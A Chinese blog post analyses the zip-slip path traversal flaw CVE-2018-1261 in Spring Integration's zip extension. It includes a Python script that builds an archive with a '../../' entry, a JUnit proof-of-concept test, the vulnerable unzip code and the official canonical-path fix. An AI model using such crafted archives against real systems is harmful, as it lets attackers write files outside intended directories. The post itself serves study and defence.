不敢说分析,还是太菜了,多学习。

文章来源: 猎户安全实验室

 

存在漏洞的源码下载地址:https://github.com/spring-projects/spring-integration-extensions/releases/tag/zip.v1.0.0.RELEASE

代码下载两眼相望了好久,第一次弄这些东西,踩了好久的坑,边踩边学习。

用的是IDEA来复现: 终端打开到zip的文件夹,然后./gradlew idea 。直接就能直接用IDEA打开了。

 

漏洞地址:org/springframework/integration/zip/transformer/UnZipTransformerTests.java

这里的都是官方例子。

仿造官方例子写个测试类。

 

	@Test
	public void unzipCve() throws IOException, InterruptedException {

		final Resource resource = this.resourceLoader.getResource("classpath:testzipdata/test1.zip");
		final InputStream upZipFile = resource.getInputStream();
		UnZipTransformer unZipTransformer = new UnZipTransformer();
		unZipTransformer.setWorkDirectory(new File("/Users/yangxiaodi/java/CVE-2018-1261/spring-integration-extensions-zip.v1.0.0.RELEASE/spring-integration-zip/src/test/resources/testzipdata/"));
		unZipTransformer.setZipResultType(ZipResultType.FILE);//设置类型(FILE, BYTE_ARRAY)
		unZipTransformer.afterPropertiesSet();

		Message<InputStream> message = MessageBuilder.withPayload(upZipFile).build();

		unZipTransformer.transform(message);//漏洞入口。
		System.out.println("over");
	}

}

  

这里的zip解压要用 到../../../z.txt格式的压缩文件,用python脚本生成一个。

import zipfile

if __name__ == "__main__":
    try:
        binary = b'ddddsss'
        zipFile = zipfile.ZipFile("test1.zip", "a", zipfile.ZIP_DEFLATED)
        info = zipfile.ZipInfo("test1.zip")
        zipFile.writestr("../../dddwwtest.txt", binary)
        zipFile.close()
    except IOError as e:
        raise e

  

东西都准备妥当了,开始分析漏洞吧。

漏洞入口:

unZipTransformer.transform(message);

接着调用org/springframework/integration/zip/transformer/AbstractZipTransformer.java 下的doTransform()函数。

	@Override
	protected Object doTransform(Message<?> message) throws Exception {
		Assert.notNull(message, "message must not be null");
		final Object payload = message.getPayload();
		Assert.notNull(payload, "payload must not be null");

		return doZipTransform(message);//往下调用doZipTransform函数
	}

  

在调用org/springframework/integration/zip/transformer/UnZipTransformer.java 下的doZipTransform() 函数。

漏洞就出现在doZipTransform()函数。具体代码位置:

				ZipUtil.iterate(inputStream, new ZipEntryCallback() {//漏洞没过滤的地方

					@Override
					public void process(InputStream zipEntryInputStream, ZipEntry zipEntry) throws IOException {

						final String zipEntryName = zipEntry.getName();
						final long zipEntryTime = zipEntry.getTime();
						final long zipEntryCompressedSize = zipEntry.getCompressedSize();
						final String type = zipEntry.isDirectory() ? "directory" : "file";

						if (logger.isInfoEnabled()) {
							logger.info(String.format("Unpacking Zip Entry - Name: '%s',Time: '%s', " +
									"Compressed Size: '%s', Type: '%s'",
									zipEntryName, zipEntryTime, zipEntryCompressedSize, type));
						}

						if (ZipResultType.FILE.equals(zipResultType)) {
							final File tempDir = new File(workDirectory, message.getHeaders().getId().toString());
							tempDir.mkdirs(); //NOSONAR false positive,创建文件夹
							final File destinationFile = new File(tempDir, zipEntryName);

							if (zipEntry.isDirectory()) {
								destinationFile.mkdirs(); //NOSONAR false positive
							}
							else {
								SpringZipUtils.copy(zipEntryInputStream, destinationFile);
								uncompressedData.put(zipEntryName, destinationFile);
							}
						}
						else if (ZipResultType.BYTE_ARRAY.equals(zipResultType)) {
							if (!zipEntry.isDirectory()) {
								byte[] data = IOUtils.toByteArray(zipEntryInputStream);
								uncompressedData.put(zipEntryName, data);
							}
						}
						else {
							throw new IllegalStateException("Unsupported zipResultType " + zipResultType);
						}
					}

  

调用ZipUtil.iterate()函数,然后利用回调函数ZipEntryCallback()去处理解压出来的内容。

 

这里的final String zipEntryName = zipEntry.getName();  //就是解压出来的文件内容,

 

在final File destinationFile = new File(tempDir, zipEntryName); //这里没任何过滤就进行文件路径和文件名的拼接。

然后下面两句代码把文件给复制过去。

SpringZipUtils.copy(zipEntryInputStream, destinationFile);
uncompressedData.put(zipEntryName, destinationFile);

这里有个坑,就是../../../z.txt 的文件,不能存在未创建的文件夹路径,例如:   ../../zzz/z.txt ,在zzz文件夹不存在的情况下,会报错。

 

这里来看下他们官方的漏洞修复,增加了一个路径检测函数。官方地址

 

					public File checkPath(final Message<?> message, final String zipEntryName) throws IOException {
						final File tempDir = new File(workDirectory, message.getHeaders().getId().toString());
						tempDir.mkdirs(); //NOSONAR false positive
						final File destinationFile = new File(tempDir, zipEntryName);

						/* If we see the relative traversal string of ".." we need to make sure
						 * that the outputdir + name doesn't leave the outputdir.
						 */
						if (!destinationFile.getCanonicalPath().startsWith(workDirectory.getCanonicalPath())) {
							throw new ZipException("The file " + zipEntryName +
									" is trying to leave the target output directory of " + workDirectory);
						}
						return destinationFile;
					}

  

主要看这句话:

if (!destinationFile.getCanonicalPath().startsWith(workDirectory.getCanonicalPath()))

如果destinationFile.getCanonicalPath() 也就是当前的全文件路径,例如: /etc/s/../passwd ,会变成/etc/passwd ,

全文件路径中 开头不包含workDirectory.getCanonicalPath() 的路径,就报错。 例如:/etc/s/  ,而workDirectory是定义的路径。

综上就是路径不能往前跳转。

这种路径检测方法还是学到了,本以为会过滤“..” 这样的字符串,直接对比两次的路径也是个好方法

 

posted on 2018-05-14 16:54  羊小弟  阅读(1436)  评论(0编辑  收藏  举报